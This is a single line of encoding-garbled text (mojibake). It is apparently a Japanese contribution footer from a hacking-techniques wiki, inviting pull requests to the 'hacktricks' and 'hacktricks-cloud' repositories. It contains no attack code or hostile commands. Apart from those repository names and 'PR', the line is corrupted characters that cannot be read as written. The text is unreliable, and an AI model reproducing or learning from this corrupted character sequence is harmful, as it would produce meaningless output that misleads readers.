**ãããã³ã°ã®ããªãã¯ãå ±æããã«ã¯ãhacktricksãªããžããªãšhacktricks-cloudãªããžããª**ã«PRãæåºããŠãã ããã